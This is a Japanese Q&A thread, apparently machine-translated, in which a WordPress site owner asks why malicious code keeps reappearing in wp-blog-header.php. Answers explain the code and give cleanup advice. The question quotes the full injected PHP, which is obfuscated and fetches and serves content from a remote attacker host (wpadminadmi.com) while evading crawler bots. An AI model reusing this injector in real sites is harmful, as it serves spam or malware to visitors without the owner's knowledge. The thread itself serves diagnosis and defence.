web-dev-qa-db-ja.com

ボットや誰かが自動的にファイルを変更するのを防ぐ方法は?

誰かが毎日私達のウェブサイトファイルwp-blog-header.phpを修正しています。

彼らは私たちのウェブサイトで自動的に不要なページを生成するコードの下に追加しています。コードは以下のとおりです。

$e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);

if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
    basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
        (stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {

    $at = "base64_" . "decode";

    $ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZG1pLmNvbS8/") . "7d09c3986906332c22b598b781b38d33" . $p);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
    );

    if (isset($_SERVER["HTTP_USER_AGENT"]))
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);

    if (isset($_SERVER["HTTP_REFERER"]))
        curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);

    $ci = "curl_ex" . "ec";

    $data = $ci($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if (strlen($data) > 255 && $code == 200) {
        echo $data; exit;
    } else if ($data && ($code == 301 || $code == 302)) {
        header("Location: " . trim($data), true, $code); exit;
    }
}

どうすればそれを防ぐことができますか?私は昨日その台本を削除しましたが、今日もまたそこにあります。

私は.htaccessに以下を入れました、しかし、それは助けになりませんでした:

<Files wp-blog-header.php>
deny from all
</Files>
2
Helping Hands

私はセキュリティの専門家ではありませんが、あなたの質問に含めるコードは大体これをしています:

  1. リクエストが静的ページに対するものでないかどうかを確認します(その中には何も挿入できません)。
  2. 要求がスクレーパーボットのAhrefsbotとMJ12botからのものではないかどうかを確認します。
  3. 両方のチェックに合格した場合は、 wpadminadmi.com でサーバーと接続します(これは、$ch = curl_initで始まる行で行われます)。
  4. そのサイトからいくつかのコードを取得します。
  5. あなたのサイトにそのコード($data)を含めてください。

そのため、あなたのサイトはハッキングされ、あなたはおそらくあなたのサイトからあなたの訪問者のデバイスにマルウェアを配布しているでしょう。

あなたの質問には、マルウェアがあなた自身のサイトのどこに隠れているのかというヒントは含まれていません。あなたが見ているのは、マルウェア自体ではなく、それが生成する別のマルウェアです。

根本的な問題は、妥協したftpアカウントから悪質なプラグイン/テーマまで、どこにでもある可能性があります。あなたの最良の選択肢は、サイトを一掃してバックアップをインストールすることです。あなたが何も持っていないなら、あなたは 運動をしなければならないでしょう

3
cjbj

問題はあなたが試みた解決策よりも大きいです。そのファイルを編集できないようにしている場合は、単に別のファイルを編集してみてください。誰かが明らかに弱いFTPパスワード、プラグインの脆弱性、古いコードなどを介してあなたのホスティングアカウントをハッキングした.

あなたはクローズに集中するべきですが、彼らはあなたのシステムへの最初のアクセスを得ています。

いくつかの良い最初のステップ:

  1. パスワードを変更してください。うん、彼ら全員。 FTP、SSH、WordPress管理者など.
  2. WP adminにあるWordPressの更新ページに移動し、見つかったものすべてを更新します。
  3. WordFenceのようなプラグインでハッキングされたコードをあなたのサイトでスキャンしてください。
  4. Timthumb脆弱性スキャナーであなたのサイトをスキャンしてください。これは多くの場合、古いサイトでこのようなハッキングの原因となっています。 - > https://wordpress.org/plugins/timthumb-vulnerability-scanner/ /
2
Greg Burkett